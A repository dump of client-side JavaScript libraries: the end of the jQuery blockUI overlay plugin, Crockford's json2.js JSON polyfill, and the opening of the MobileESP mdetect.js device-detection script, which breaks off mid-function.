$(''); if (opts.theme && full) { s = ''; } else if (opts.theme) { s = ''; } else if (full) { s = ''; } else { s = ''; } lyr3 = $(s); // if we have a message, style it if (msg) { if (opts.theme) { lyr3.css(themedCSS); lyr3.addClass('ui-widget-content'); } else lyr3.css(css); } // style the overlay if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/) lyr2.css(opts.overlayCSS); lyr2.css('position', full ? 'fixed' : 'absolute'); // make iframe layer transparent in IE if (msie || opts.forceIframe) lyr1.css('opacity',0.0); //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el); var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el); $.each(layers, function() { this.appendTo($par); }); if (opts.theme && opts.draggable && $.fn.draggable) { lyr3.draggable({ handle: '.ui-dialog-titlebar', cancel: 'li' }); } // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling) var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0); if (ie6 || expr) { // give body 100% height if (full && opts.allowBodyStretch && $.support.boxModel) $('html,body').css('height','100%'); // fix ie6 issue when blocked element has a border width if ((ie6 || !$.support.boxModel) && !full) { var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth'); var fixT = t ? '(0 - '+t+')' : 0; var fixL = l ? '(0 - '+l+')' : 0; } // simulate fixed position $.each(layers, function(i,o) { var s = o[0].style; s.position = 'absolute'; if (i < 2) { if (full) s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"'); else s.setExpression('height','this.parentNode.offsetHeight + "px"'); if (full) s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"'); else s.setExpression('width','this.parentNode.offsetWidth + "px"'); if (fixL) s.setExpression('left', fixL); if (fixT) s.setExpression('top', fixT); } else if (opts.centerY) { if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"'); s.marginTop = 0; } else if (!opts.centerY && full) { var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0; var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"'; s.setExpression('top',expression); } }); } // show the message if (msg) { if (opts.theme) lyr3.find('.ui-widget-content').append(msg); else lyr3.append(msg); if (msg.jquery || msg.nodeType) $(msg).show(); } if ((msie || opts.forceIframe) && opts.showOverlay) lyr1.show(); // opacity is zero if (opts.fadeIn) { var cb = opts.onBlock ? opts.onBlock : noOp; var cb1 = (opts.showOverlay && !msg) ? cb : noOp; var cb2 = msg ? cb : noOp; if (opts.showOverlay) lyr2._fadeIn(opts.fadeIn, cb1); if (msg) lyr3._fadeIn(opts.fadeIn, cb2); } else { if (opts.showOverlay) lyr2.show(); if (msg) lyr3.show(); if (opts.onBlock) opts.onBlock.bind(lyr3)(); } // bind key and mouse events bind(1, el, opts); if (full) { pageBlock = lyr3[0]; pageBlockEls = $(opts.focusableElements,pageBlock); if (opts.focusInput) setTimeout(focus, 20); } else center(lyr3[0], opts.centerX, opts.centerY); if (opts.timeout) { // auto-unblock var to = setTimeout(function() { if (full) $.unblockUI(opts); else $(el).unblock(opts); }, opts.timeout); $(el).data('blockUI.timeout', to); } } // remove the block function remove(el, opts) { var count; var full = (el == window); var $el = $(el); var data = $el.data('blockUI.history'); var to = $el.data('blockUI.timeout'); if (to) { clearTimeout(to); $el.removeData('blockUI.timeout'); } opts = $.extend({}, $.blockUI.defaults, opts || {}); bind(0, el, opts); // unbind events if (opts.onUnblock === null) { opts.onUnblock = $el.data('blockUI.onUnblock'); $el.removeData('blockUI.onUnblock'); } var els; if (full) // crazy selector to handle odd field errors in ie6/7 els = $('body').children().filter('.blockUI').add('body > .blockUI'); else els = $el.find('>.blockUI'); // fix cursor issue if ( opts.cursorReset ) { if ( els.length > 1 ) els[1].style.cursor = opts.cursorReset; if ( els.length > 2 ) els[2].style.cursor = opts.cursorReset; } if (full) pageBlock = pageBlockEls = null; if (opts.fadeOut) { count = els.length; els.stop().fadeOut(opts.fadeOut, function() { if ( --count === 0) reset(els,data,opts,el); }); } else reset(els, data, opts, el); } // move blocking element back into the DOM where it started function reset(els,data,opts,el) { var $el = $(el); if ( $el.data('blockUI.isBlocked') ) return; els.each(function(i,o) { // remove via DOM calls so we don't lose event handlers if (this.parentNode) this.parentNode.removeChild(this); }); if (data && data.el) { data.el.style.display = data.display; data.el.style.position = data.position; data.el.style.cursor = 'default'; // #59 if (data.parent) data.parent.appendChild(data.el); $el.removeData('blockUI.history'); } if ($el.data('blockUI.static')) { $el.css('position', 'static'); // #22 } if (typeof opts.onUnblock == 'function') opts.onUnblock(el,opts); // fix issue in Safari 6 where block artifacts remain until reflow var body = $(document.body), w = body.width(), cssW = body[0].style.width; body.width(w-1).width(w); body[0].style.width = cssW; } // bind/unbind the handler function bind(b, el, opts) { var full = el == window, $el = $(el); // don't bother unbinding if there is nothing to unbind if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked'))) return; $el.data('blockUI.isBlocked', b); // don't bind events when overlay is not in use or if bindEvents is false if (!full || !opts.bindEvents || (b && !opts.showOverlay)) return; // bind anchors and inputs for mouse and key events var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove'; if (b) $(document).bind(events, opts, handler); else $(document).unbind(events, handler); // former impl... // var $e = $('a,:input'); // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler); } // event handler to suppress keyboard/mouse events when blocking function handler(e) { // allow tab navigation (conditionally) if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) { if (pageBlock && e.data.constrainTabKey) { var els = pageBlockEls; var fwd = !e.shiftKey && e.target === els[els.length-1]; var back = e.shiftKey && e.target === els[0]; if (fwd || back) { setTimeout(function(){focus(back);},10); return false; } } } var opts = e.data; var target = $(e.target); if (target.hasClass('blockOverlay') && opts.onOverlayClick) opts.onOverlayClick(e); // allow events within the message content if (target.parents('div.' + opts.blockMsgClass).length > 0) return true; // allow events for content that is not being blocked return target.parents().children().filter('div.blockUI').length === 0; } function focus(back) { if (!pageBlockEls) return; var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0]; if (e) e.focus(); } function center(el, x, y) { var p = el.parentNode, s = el.style; var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth'); var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth'); if (x) s.left = l > 0 ? (l+'px') : '0'; if (y) s.top = t > 0 ? (t+'px') : '0'; } function sz(el, p) { return parseInt($.css(el,p),10)||0; } } /*global define:true */ if (typeof define === 'function' && define.amd && define.amd.jQuery) { define(['jquery'], setup); } else { setup(jQuery); } })(); ================================================ FILE: core/main/client/lib/json2.js ================================================ // json2.js // 2016-10-28 // Public Domain. // NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. // See http://www.JSON.org/js.html // This code should be minified before deployment. // See http://javascript.crockford.com/jsmin.html // USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO // NOT CONTROL. // This file creates a global JSON object containing two methods: stringify // and parse. This file provides the ES5 JSON capability to ES3 systems. // If a project might run on IE8 or earlier, then this file should be included. // This file does nothing on ES5 systems. // Create a JSON object only if one does not already exist. We create the // methods in a closure to avoid creating global variables. if (typeof JSON !== "object") { JSON = {}; } (function () { "use strict"; var rx_one = /^[\],:{}\s]*$/; var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g; var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g; var rx_four = /(?:^|:|,)(?:\s*\[)+/g; var rx_escapable = /[\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g; var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g; function f(n) { // Format integers to have at least two digits. return n < 10 ? "0" + n : n; } function this_value() { return this.valueOf(); } if (typeof Date.prototype.toJSON !== "function") { Date.prototype.toJSON = function () { return isFinite(this.valueOf()) ? this.getUTCFullYear() + "-" + f(this.getUTCMonth() + 1) + "-" + f(this.getUTCDate()) + "T" + f(this.getUTCHours()) + ":" + f(this.getUTCMinutes()) + ":" + f(this.getUTCSeconds()) + "Z" : null; }; Boolean.prototype.toJSON = this_value; Number.prototype.toJSON = this_value; String.prototype.toJSON = this_value; } var gap; var indent; var meta; var rep; function quote(string) { // If the string contains no control characters, no quote characters, and no // backslash characters, then we can safely slap some quotes around it. // Otherwise we must also replace the offending characters with safe escape // sequences. rx_escapable.lastIndex = 0; return rx_escapable.test(string) ? "\"" + string.replace(rx_escapable, function (a) { var c = meta[a]; return typeof c === "string" ? c : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4); }) + "\"" : "\"" + string + "\""; } function str(key, holder) { // Produce a string from holder[key]. var i; // The loop counter. var k; // The member key. var v; // The member value. var length; var mind = gap; var partial; var value = holder[key]; // If the value has a toJSON method, call it to obtain a replacement value. if (value && typeof value === "object" && typeof value.toJSON === "function") { value = value.toJSON(key); } // If we were called with a replacer function, then call the replacer to // obtain a replacement value. if (typeof rep === "function") { value = rep.call(holder, key, value); } // What happens next depends on the value's type. switch (typeof value) { case "string": return quote(value); case "number": // JSON numbers must be finite. Encode non-finite numbers as null. return isFinite(value) ? String(value) : "null"; case "boolean": case "null": // If the value is a boolean or null, convert it to a string. Note: // typeof null does not produce "null". The case is included here in // the remote chance that this gets fixed someday. return String(value); // If the type is "object", we might be dealing with an object or an array or // null. case "object": // Due to a specification blunder in ECMAScript, typeof null is "object", // so watch out for that case. if (!value) { return "null"; } // Make an array to hold the partial results of stringifying this object value. gap += indent; partial = []; // Is the value an array? if (Object.prototype.toString.apply(value) === "[object Array]") { // The value is an array. Stringify every element. Use null as a placeholder // for non-JSON values. length = value.length; for (i = 0; i < length; i += 1) { partial[i] = str(i, value) || "null"; } // Join all of the elements together, separated with commas, and wrap them in // brackets. v = partial.length === 0 ? "[]" : gap ? "[\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "]" : "[" + partial.join(",") + "]"; gap = mind; return v; } // If the replacer is an array, use it to select the members to be stringified. if (rep && typeof rep === "object") { length = rep.length; for (i = 0; i < length; i += 1) { if (typeof rep[i] === "string") { k = rep[i]; v = str(k, value); if (v) { partial.push(quote(k) + ( gap ? ": " : ":" ) + v); } } } } else { // Otherwise, iterate through all of the keys in the object. for (k in value) { if (Object.prototype.hasOwnProperty.call(value, k)) { v = str(k, value); if (v) { partial.push(quote(k) + ( gap ? ": " : ":" ) + v); } } } } // Join all of the member texts together, separated with commas, // and wrap them in braces. v = partial.length === 0 ? "{}" : gap ? "{\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "}" : "{" + partial.join(",") + "}"; gap = mind; return v; } } // If the JSON object does not yet have a stringify method, give it one. if (typeof JSON.stringify !== "function") { meta = { // table of character substitutions "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", "\"": "\\\"", "\\": "\\\\" }; JSON.stringify = function (value, replacer, space) { // The stringify method takes a value and an optional replacer, and an optional // space parameter, and returns a JSON text. The replacer can be a function // that can replace values, or an array of strings that will select the keys. // A default replacer method can be provided. Use of the space parameter can // produce text that is more easily readable. var i; gap = ""; indent = ""; // If the space parameter is a number, make an indent string containing that // many spaces. if (typeof space === "number") { for (i = 0; i < space; i += 1) { indent += " "; } // If the space parameter is a string, it will be used as the indent string. } else if (typeof space === "string") { indent = space; } // If there is a replacer, it must be a function or an array. // Otherwise, throw an error. rep = replacer; if (replacer && typeof replacer !== "function" && (typeof replacer !== "object" || typeof replacer.length !== "number")) { throw new Error("JSON.stringify"); } // Make a fake root object containing our value under the key of "". // Return the result of stringifying the value. return str("", {"": value}); }; } // If the JSON object does not yet have a parse method, give it one. if (typeof JSON.parse !== "function") { JSON.parse = function (text, reviver) { // The parse method takes a text and an optional reviver function, and returns // a JavaScript value if the text is a valid JSON text. var j; function walk(holder, key) { // The walk method is used to recursively walk the resulting structure so // that modifications can be made. var k; var v; var value = holder[key]; if (value && typeof value === "object") { for (k in value) { if (Object.prototype.hasOwnProperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); } // Parsing happens in four stages. In the first stage, we replace certain // Unicode characters with escape sequences. JavaScript handles many characters // incorrectly, either silently deleting them, or treating them as line endings. text = String(text); rx_dangerous.lastIndex = 0; if (rx_dangerous.test(text)) { text = text.replace(rx_dangerous, function (a) { return "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4); }); } // In the second stage, we run the text against regular expressions that look // for non-JSON patterns. We are especially concerned with "()" and "new" // because they can cause invocation, and "=" because it can cause mutation. // But just to be safe, we want to reject all unexpected forms. // We split the second stage into 4 regexp operations in order to work around // crippling inefficiencies in IE's and Safari's regexp engines. First we // replace the JSON backslash pairs with "@" (a non-JSON character). Second, we // replace all simple value tokens with "]" characters. Third, we delete all // open brackets that follow a colon or comma or that begin the text. Finally, // we look to see that the remaining characters are only whitespace or "]" or // "," or ":" or "{" or "}". If that is so, then the text is safe for eval. if ( rx_one.test( text .replace(rx_two, "@") .replace(rx_three, "]") .replace(rx_four, "") ) ) { // In the third stage we use the eval function to compile the text into a // JavaScript structure. The "{" operator is subject to a syntactic ambiguity // in JavaScript: it can begin a block or an object literal. We wrap the text // in parens to eliminate the ambiguity. j = eval("(" + text + ")"); // In the optional fourth stage, we recursively walk the new structure, passing // each name/value pair to a reviver function for possible transformation. return (typeof reviver === "function") ? walk({"": j}, "") : j; } // If the text is not JSON parseable, then a SyntaxError is thrown. throw new SyntaxError("JSON.parse"); }; } }()); ================================================ FILE: core/main/client/lib/mdetect.js ================================================ /* ******************************************* // Copyright 2010-2015, Anthony Hand // // BETA NOTICE // Previous versions of the JavaScript code for MobileESP were 'regular' // JavaScript. The strength of it was that it was really easy to code and use. // Unfortunately, regular JavaScript means that all variables and functions // are in the global namespace. There can be collisions with other code libraries // which may have similar variable or function names. Collisions cause bugs as each // library changes a variable's definition or functionality unexpectedly. // As a result, we thought it wise to switch to an "object oriented" style of code. // This 'literal notation' technique keeps all MobileESP variables and functions fully self-contained. // It avoids potential for collisions with other JavaScript libraries. // This technique allows the developer continued access to any desired function or property. // // Please send feedback to project founder Anthony Hand: anthony.hand@gmail.com // // // File version 2015.05.13 (May 13, 2015) // Updates: // - Moved MobileESP to GitHub. https://github.com/ahand/mobileesp // - Opera Mobile/Mini browser has the same UA string on multiple platforms and doesn't differentiate phone vs. tablet. // - Removed DetectOperaAndroidPhone(). This method is no longer reliable. // - Removed DetectOperaAndroidTablet(). This method is no longer reliable. // - Added support for Windows Phone 10: variable and DetectWindowsPhone10() // - Updated DetectWindowsPhone() to include WP10. // - Added support for Firefox OS. // - A variable plus DetectFirefoxOS(), DetectFirefoxOSPhone(), DetectFirefoxOSTablet() // - NOTE: Firefox doesn't add UA tokens to definitively identify Firefox OS vs. their browsers on other mobile platforms. // - Added support for Sailfish OS. Not enough info to add a tablet detection method at this time. // - A variable plus DetectSailfish(), DetectSailfishPhone() // - Added support for Ubuntu Mobile OS. // - DetectUbuntu(), DetectUbuntuPhone(), DetectUbuntuTablet() // - Added support for 2 smart TV OSes. They lack browsers but do have WebViews for use by HTML apps. // - One variable for Samsung Tizen TVs, plus DetectTizenTV() // - One variable for LG WebOS TVs, plus DetectWebOSTV() // - Updated DetectTizen(). Now tests for “mobile” to disambiguate from Samsung Smart TVs // - Removed variables for obsolete devices: deviceHtcFlyer, deviceXoom. // - Updated DetectAndroid(). No longer has a special test case for the HTC Flyer tablet. // - Updated DetectAndroidPhone(). // - Updated internal detection code for Android. // - No longer has a special test case for the HTC Flyer tablet. // - Checks against DetectOperaMobile() on Android and reports here if relevant. // - Updated DetectAndroidTablet(). // - No longer has a special test case for the HTC Flyer tablet. // - Checks against DetectOperaMobile() on Android to exclude it from here. // - DetectMeego(): Changed definition for this method. Now detects any Meego OS device, not just phones. // - DetectMeegoPhone(): NEW. For Meego phones. Ought to detect Opera browsers on Meego, as well. // - DetectTierIphone(): Added support for phones running Sailfish, Ubuntu and Firefox Mobile. // - DetectTierTablet(): Added support for tablets running Ubuntu and Firefox Mobile. // - DetectSmartphone(): Added support for Meego phones. // - Reorganized DetectMobileQuick(). Moved the following to DetectMobileLong(): // - DetectDangerHiptop(), DetectMaemoTablet(), DetectSonyMylo(), DetectArchos() // // // // LICENSE INFORMATION // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, // either express or implied. See the License for the specific // language governing permissions and limitations under the License. // // // ABOUT THIS PROJECT // Project Owner: Anthony Hand // Email: anthony.hand@gmail.com // Web Site: http://www.mobileesp.com // Source Files: https://github.com/ahand/mobileesp // // Versions of this code are available for: // PHP, JavaScript, Java, ASP.NET (C#), Ruby and others // // // WARNING: // These JavaScript-based device detection features may ONLY work // for the newest generation of smartphones, such as the iPhone, // Android and Palm WebOS devices. // These device detection features may NOT work for older smartphones // which had poor support for JavaScript, including // older BlackBerry, PalmOS, and Windows Mobile devices. // Additionally, because JavaScript support is extremely poor among // 'feature phones', these features may not work at all on such devices. // For better results, consider using a server-based version of this code, // such as Java, APS.NET, PHP, or Ruby. // // ******************************************* */ var MobileEsp = { //GLOBALLY USEFUL VARIABLES //Note: These values are set automatically during the Init function. //Stores whether we're currently initializing the most popular functions. initCompleted : false, isWebkit : false, //Stores the result of DetectWebkit() isMobilePhone : false, //Stores the result of DetectMobileQuick() isIphone : false, //Stores the result of DetectIphone() isAndroid : false, //Stores the result of DetectAndroid() isAndroidPhone : false, //Stores the result of DetectAndroidPhone() isTierTablet : false, //Stores the result of DetectTierTablet() isTierIphone : false, //Stores the result of DetectTierIphone() isTierRichCss : false, //Stores the result of DetectTierRichCss() isTierGenericMobile : false, //Stores the result of DetectTierOtherPhones() //INTERNALLY USED DETECTION STRING VARIABLES engineWebKit : 'webkit', deviceIphone : 'iphone', deviceIpod : 'ipod', deviceIpad : 'ipad', deviceMacPpc : 'macintosh', //Used for disambiguation deviceAndroid : 'android', deviceGoogleTV : 'googletv', deviceWinPhone7 : 'windows phone os 7', deviceWinPhone8 : 'windows phone 8', deviceWinPhone10 : 'windows phone 10', deviceWinMob : 'windows ce', deviceWindows : 'windows', deviceIeMob : 'iemobile', devicePpc : 'ppc', //Stands for PocketPC enginePie : 'wm5 pie', //An old Windows Mobile deviceBB : 'blackberry', deviceBB10 : 'bb10', //For the new BB 10 OS vndRIM : 'vnd.rim', //Detectable when BB devices emulate IE or Firefox deviceBBStorm : 'blackberry95', //Storm 1 and 2 deviceBBBold : 'blackberry97', //Bold 97x0 (non-touch) deviceBBBoldTouch : 'blackberry 99', //Bold 99x0 (touchscreen) deviceBBTour : 'blackberry96', //Tour deviceBBCurve : 'blackberry89', //Curve 2 deviceBBCurveTouch : 'blackberry 938', //Curve Touch 9380 deviceBBTorch : 'blackberry 98', //Torch deviceBBPlaybook : 'playbook', //PlayBook tablet deviceSymbian : 'symbian', deviceSymbos : 'symbos', //Opera 10 on Symbian deviceS60 : 'series60', deviceS70 : 'series70', deviceS80 : 'series80', deviceS90 : 'series90', devicePalm : 'palm', deviceWebOS : 'webos', //For Palm devices deviceWebOStv : 'web0s', //For LG TVs deviceWebOShp : 'hpwos', //For HP's line of WebOS devices deviceNuvifone : 'nuvifone', //Garmin Nuvifone deviceBada : 'bada', //Samsung's Bada OS deviceTizen : 'tizen', //Tizen OS deviceMeego : 'meego', //Meego OS deviceSailfish : 'sailfish', //Sailfish OS deviceUbuntu : 'ubuntu', //Ubuntu Mobile OS deviceKindle : 'kindle', //Amazon eInk Kindle engineSilk : 'silk-accelerated', //Amazon's accelerated Silk browser for Kindle Fire engineBlazer : 'blazer', //Old Palm browser engineXiino : 'xiino', //Initialize variables for mobile-specific content. vndwap : 'vnd.wap', wml : 'wml', //Initialize variables for random devices and mobile browsers. //Some of these may not support JavaScript deviceTablet : 'tablet', deviceBrew : 'brew', deviceDanger : 'danger', deviceHiptop : 'hiptop', devicePlaystation : 'playstation', devicePlaystationVita : 'vita', deviceNintendoDs : 'nitro', deviceNintendo : 'nintendo', deviceWii : 'wii', deviceXbox : 'xbox', deviceArchos : 'archos', engineFirefox : 'firefox', //For Firefox OS engineOpera : 'opera', //Popular browser engineNetfront : 'netfront', //Common embedded OS browser engineUpBrowser : 'up.browser', //common on some phones deviceMidp : 'midp', //a mobile Java technology uplink : 'up.link', engineTelecaQ : 'teleca q', //a modern feature phone browser engineObigo : 'obigo', //W 10 is a modern feature phone browser devicePda : 'pda', mini : 'mini', //Some mobile browsers put 'mini' in their names mobile : 'mobile', //Some mobile browsers put 'mobile' in their user agent strings mobi : 'mobi', //Some mobile browsers put 'mobi' in their user agent strings //Smart TV strings smartTV1 : 'smart-tv', //Samsung Tizen smart TVs smartTV2 : 'smarttv', //LG WebOS smart TVs //Use Maemo, Tablet, and Linux to test for Nokia's Internet Tablets. maemo : 'maemo', linux : 'linux', mylocom2 : 'sony/com', // for Sony Mylo 1 and 2 //In some UserAgents, the only clue is the manufacturer manuSonyEricsson : 'sonyericsson', manuericsson : 'ericsson', manuSamsung1 : 'sec-sgh', manuSony : 'sony', manuHtc : 'htc', //Popular Android and WinMo manufacturer //In some UserAgents, the only clue is the operator svcDocomo : 'docomo', svcKddi : 'kddi', svcVodafone : 'vodafone', //Disambiguation strings. disUpdate : 'update', //pda vs. update //Holds the User Agent string value. uagent : '', //Initializes key MobileEsp variables InitDeviceScan : function() { this.initCompleted = false; if (navigator && navigator.userAgent) this.uagent = navigator.userAgent.toLowerCase(); //Save these properties to speed processing this.isWebkit = this.DetectWebkit(); this.isIphone = this.DetectIphone(); this.isAndroid = this.DetectAndroid(); this.isAndroidPhone = this.DetectAndroidPhone(); //Generally, these tiers are the most useful for web development this.isMobilePhone = this.DetectMobileQuick(); this.isTierIphone = this.DetectTierIphone(); this.isTierTablet = this.DetectTierTablet(); //Optional: Comment these out if you NEVER use them this.isTierRichCss = this.DetectTierRichCss(); this.isTierGenericMobile = this.DetectTierOtherPhones(); this.initCompleted = true; }, //APPLE IOS //************************** // Detects if the current device is an iPhone. DetectIphone : function() { if (this.initCompleted || this.isIphone) return this.isIphone; if (this.uagent.search(this.deviceIphone) > -1) { //The iPad and iPod Touch say they're an iPhone! So let's disambiguate. if (this.DetectIpad() || this.DetectIpod()) return false; //Yay! It's an iPhone! else return true; } else return false; }, //************************** // Detects if the current device is an iPod Touch. DetectIpod : function() { if (this.uagent.search(this.deviceIpod) > -1) return true; else return false; }, //************************** // Detects if the current device is an iPhone or iPod Touch. DetectIphoneOrIpod : function() { //We repeat the searches here because some iPods // may report themselves as an iPhone, which is ok. if (this.DetectIphone() || this.DetectIpod()) return true; else return false; }, //************************** // Detects if the current device is an iPad tablet. DetectIpad : function() { if (this.uagent.search(this.deviceIpad) > -1 && this.DetectWebkit()) return true; else return false; }, //************************** // Detects *any* iOS device: iPhone, iPod Touch, iPad. DetectIos : function() { if (this.DetectIphoneOrIpod() || this.DetectIpad()) return true; else return false; }, //ANDROID //************************** // Detects *any* Android OS-based device: phone, tablet, and multi-media player. // Also detects Google TV. DetectAndroid : function() { if (this.initCompleted || this.isAndroid) return this.isAndroid; if ((this.uagent.search(this.deviceAndroid) > -1) || this.DetectGoogleTV()) return true; return false; }, //************************** // Detects if the current device is a (small-ish) Android OS-based device // used for calling and/or multi-media (like a Samsung Galaxy Player). // Google says these devices will have 'Android' AND 'mobile' in user agent. // Ignores tablets (Honeycomb and later). DetectAndroidPhone : function() { if (this.initCompleted || this.isAndroidPhone) return this.isAndroidPhone; //First, let's make sure we're on an Android device. if (!this.DetectAndroid()) return false; //If it's Android and has 'mobile' in it, Google says it's a phone. if (this.uagent.search(this.mobile) > -1) return true; //Special check for Android phones with Opera Mobile. They should report here. if (this.DetectOperaMobile()) return true; return false; }, //************************** // Detects if the current device is a (self-reported) Android tablet. // Google says these devices will have 'Android' and NOT 'mobile' in their user agent. DetectAndroidTablet : function() { //First, let's make sure we're on an Android device. if (!this.DetectAndroid()) return false; //Special check for Opera Android Phones. They should NOT report here. if (this.DetectOperaMobile()) return false; //Otherwise, if it's Android and does NOT have 'mobile' in it, Google says it's a tablet. if (this.uagent.search(this.mobile) > -1) return false; else return true; }, //************************** // Detects if the current device is an Android OS-based device and // the browser is based on WebKit. DetectAndroidWebKit : function() { if (this.DetectAndroid() && this.DetectWebkit()) return true; else return false; }, //************************** // Detects if the current device is a GoogleTV. DetectGoogleTV : function() { if (this.uagent.search(this.deviceGoogleTV) > -1) return true; else return false; }, //************************** // Detects if the current browser is based on WebKit. DetectWebkit : function() { if (this.initCompleted || this.isWebkit) return this.isWebkit; if (this.uagent.search(this.engineWebKit) > -1) return true; else return false; }, //WINDOWS MOBILE AND PHONE // Detects if the current browser is a // Windows Phone 7, 8, or 10 device. DetectWindowsPhone : function() { if (this.DetectWindowsPhone7() || this.DetectWindowsPhone8() || this.DetectWindowsPhone10()) return true; else return false; }, //************************** // Detects a Windows Phone 7 device (in mobile browsing mode). DetectWindowsPhone7 : function() { if (this.uagent.search(this.deviceWinPhone7) > -1) return true; else return false; }, //************************** // Detects a Windows Phone 8 device (in mobile browsing mode). DetectWindowsPhone8 : function() { if (this.uagent.search(this.deviceWinPhone8) > -1) return true; else return false; }, //************************** // Detects a Windows Phone 10 device (in mobile browsing mode). DetectWindowsPhone10 : function() { if (this.uagent.search(this.deviceWinPhone10) > -1) return true; else return false; }, //************************** // Detects if the current browser is a Windows Mobile device. // Excludes Windows Phone 7 and later devices. // Focuses on Windows Mobile 6.xx and earlier. DetectWindowsMobile : function() { if (this.DetectWindowsPhone()) return false; //Most devices use 'Windows CE', but some report 'iemobile' // and some older ones report as 'PIE' for Pocket IE. if (this.uagent.search(this.deviceWinMob) > -1 || this.uagent.search(this.deviceIeMob) > -1 || this.uagent.search(this.enginePie) > -1) return true; //Test for Windows Mobile PPC but not old Macintosh PowerPC. if ((this.uagent.search(this.devicePpc) > -1) && !(this.uagent.search(this.deviceMacPpc) > -1)) return true; //Test for Windwos Mobile-based HTC devices. if (this.uagent.search(this.manuHtc) > -1 && this.uagent.search(this.deviceWindows) > -1) return true; else return false; }, //BLACKBERRY //************************** // Detects if the current browser is a BlackBerry of some sort. // Includes BB10 OS, but excludes the PlayBook. DetectBlackBerry : function() { if ((this.uagent.search(this.deviceBB) > -1) || (this.uagent.search(this.vndRIM) > -1)) return true; if (this.DetectBlackBerry10Phone()) return true; else return false; }, //************************** // Detects if the current browser is a BlackBerry 10 OS phone. // Excludes tablets. DetectBlackBerry10Phone : function() { if ((this.uagent.search(this.deviceBB10) > -1) && (this.uagent.search(this.mobile) > -1)) return true; else return false; }, //************************** // Detects if the current browser is on a BlackBerry tablet device. // Example: PlayBook DetectBlackBerryTablet : function() { if (this.uagent.search(this.deviceBBPlaybook) > -1) return true; else return false; }, //************************** // Detects if the current browser is a BlackBerry device AND uses a // WebKit-based browser. These are signatures for the new BlackBerry OS 6. // Examples: Torch. Includes the Playbook. DetectBlackBerryWebKit : function() { if (this.DetectBlackBerry() && this.uagent.search(this.engineWebKit) > -1) return true; else return false; }, //************************** // Detects if the current browser is a BlackBerry Touch // device, such as the Storm, Torch, and Bold Touch. Excludes the Playbook. DetectBlackBerryTouch : function() { if (this.DetectBlackBerry() && ((this.uagent.search(this.deviceBBStorm) > -1) || (this.uagent.search(this.deviceBBTorch) > -1) || (this.uagent.search(this.deviceBBBoldTouch) > -1) || (this.uagent.search(this.deviceBBCurveTouch) > -1) )) return true; else return false; }, //************************** // Detects if the current browser is a BlackBerry OS 5 device AND // has a more capable recent browser. Excludes the Playbook. // Examples, Storm, Bold, Tour, Curve2 // Excludes the new BlackBerry OS 6 and 7 browser!! DetectBlackBerryHigh : function() { //Disambiguate for BlackBerry OS 6 or 7 (WebKit) browser if (this.DetectBlackBerryWebKit()) return false; if ((this.DetectBlackBerry()) && (this.DetectBlackBerryTouch() || this.uagent.search(this.deviceBBBold) > -1 || this.uagent.search(this.deviceBBTour) > -1 || this.uagent.search(this.deviceBBCurve) > -1)) return true; else return false; }, //************************** // Detects if the current browser is a BlackBerry device AND // has an older, less capable browser. // Examples: Pearl, 8800, Curve1. DetectBlackBerryLow : function() { if (this.DetectBlackBerry()) { //Assume that if it's not in the High tier or has WebKit, then it's Low. if (this.DetectBlackBerryHigh() || this.DetectBlackBerryWebKit()) return false; else return true; } else return false; }, //SYMBIAN //************************** // Detects if the current browser is the Nokia S60 Open Source Browser. DetectS60OssBrowser : function() { if (this.DetectWebkit()) { if ((this.uagent.search(this.deviceS60) > -1 || this.uagent.search(this.deviceSymbian) > -1)) return true; else return false; } else return false; }, //************************** // Detects if the current device is any Symbian OS-based device, // including older S60, Series 70, Series 80, Series 90, and UIQ, // or other browsers running on these devices. DetectSymbianOS : function() { if (this.uagent.search(this.deviceSymbian) > -1 || this.uagent.search(this.deviceS60) > -1 || ((this.uagent.search(this.deviceSymbos) > -1) && (this.DetectOperaMobile)) || //Opera 10 this.uagent.search(this.deviceS70) > 